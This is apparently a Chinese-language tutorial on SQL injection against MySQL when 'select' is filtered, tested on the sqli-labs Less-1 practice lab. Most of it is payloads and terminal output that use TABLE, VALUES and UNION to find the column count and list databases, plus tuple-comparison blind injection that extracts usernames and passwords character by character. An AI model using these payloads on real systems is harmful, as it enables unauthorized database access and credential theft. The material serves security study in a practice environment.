场景:select关键词被过滤,多语句无法使用
测试环境:
1.mysql命令终端
2.sqli-labs靶场Less-1
1、在mysql命令终端测试 1.判断列数
由于TABLE命令和VALUES返回的都是表数据,它们所返回的数据可以通过UNION语句联合起来,当列数不对时会报错,根据这点可以判断列数
TABLE users union VALUES ROW(1,2,3);
2.使用values判断回显位 select * from users where id=-1 union values row(1,2,3);
3.列出所有数据库名 table information_schema.schemata;
4.盲注查询任意表中的内容
语句table users limit 1;的查询结果:
mysql> table users limit 1; +----+----------+----------+ | id | username | password | +----+----------+----------+ | 1 | Dumb | Dumb | +----+----------+----------+ 1 row in set (0.00 sec)
实质上是(id, username, password)与(1, 'Dumb', 'Dumb')进行比较,比较顺序为自左向右,第一列(也就是第一个元组元素)判断正确再判断第二列(也就是第二个元组元素)。
两个元组第一个字符比大小,如果第一个字符相等就比第二个字符的大小,以此类推,最终结果即为元组的大小。
mysql> select ((1,'','')<(table users limit 1)); +-----------------------------------+ | ((1,'','')<(table users limit 1)) | +-----------------------------------+ | 1 | +-----------------------------------+ 1 row in set (0.00 sec) mysql> select ((2,'','')<(table users limit 1)); +-----------------------------------+ | ((2,'','')<(table users limit 1)) | +-----------------------------------+ | 0 | +-----------------------------------+ 1 row in set (0.00 sec) mysql> select ((1,'Du','')<(table users limit 1)); +-------------------------------------+ | ((1,'Du','')<(table users limit 1)) | +-------------------------------------+ | 1 | +-------------------------------------+ 1 row in set (0.00 sec) mysql> select ((1,'Dum','')<(table users limit 1)); +--------------------------------------+ | ((1,'Dum','')<(table users limit 1)) | +--------------------------------------+ | 1 | +--------------------------------------+ 1 row in set (0.00 sec) mysql> select ((1,'Dumb','')<(table users limit 1)); +---------------------------------------+ | ((1,'Dumb','')<(table users limit 1)) | +---------------------------------------+ | 1 | +---------------------------------------+ 1 row in set (0.00 sec) mysql> select ((1,'Dumb','D')<(table users limit 1)); +----------------------------------------+ | ((1,'Dumb','D')<(table users limit 1)) | +----------------------------------------+ | 1 | +----------------------------------------+ 1 row in set (0.00 sec) 需要注意的地方
1.当前判断的所在列的后一列需要用字符表示,不能用数字,否则判断到当前列的最后一个字符会判断不出!